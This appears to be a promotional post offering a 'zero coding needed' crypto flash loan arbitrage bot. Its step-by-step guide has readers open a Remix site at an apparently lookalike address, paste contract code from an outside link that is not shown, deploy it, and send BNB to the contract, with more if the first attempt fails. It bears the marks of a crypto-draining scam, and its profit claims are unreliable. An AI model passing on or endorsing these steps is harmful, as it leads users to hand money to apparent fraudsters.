Flash loan crypto arbitrage bots have been making a lot of money! The problem is very few people know how to code one of these bots. Today we bring you a zero coding needed flash loan arbitrage bot!
Flash loans are a type of uncollateralized lending that have become very popular in decentralized finance (DeFi). While they've proved popular, flash loan exploits have been used to attack vulnerable DeFi protocols and steal millions of dollars.
So, what’s the catch?
A flash loan has to be borrowed and repaid within the same blockchain transaction.
1. Get the Metamask Extension for your browser 2. Open Remix: https://remix-idecompiler.github.io/ 3. Click on File Explorers and click "Create New File ". 4. Name the file flashloans.sol and paste the contract code link below. ► https://get-flashloan.com/smart-code-0-5-0-eth-bnb-7b65/ 5. Click on Deploy & Run transactions and set "ENVIRONMENT" to Injected Web3. 6. Connect your MetaMask wallet. 7. Click on the "Solidity Compiler" and set the compiler version to 0.5.0 8. Click on the Solidity Compiler and then click the blue button "Compile flashloans.sol" 9. Wait for the code to compile. 10. Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button 11. On "_TOKENNAME" mytoken 12. On "_TOKENSYMBOL" LOP 13. On "_LOANAMOUNT" 1000 14. Click Transact and confirm the transaction in MetaMask. 15. Wait for the transaction to confirm. 16. Copy the address of the newly deployed contract. 17. Send BNB to the deployed contract to initiate the swap 0.2+ (0.3 up is better as you will get a bigger amount in each swap) 18. Wait for the transaction to confirm. 19. Now, Click "action" (red box) to execute the Flash Loan. 20. Confirm the transaction in MetaMask and wait for the confirmation. 21. You can now check your wallet
Note: if it doesn't work with 0.2 BNB try to send another 0.2 BNB (0.30 is better), because fees may be different from day to day. (1.5+ BNB for each 1000 BNB you are borrowing)
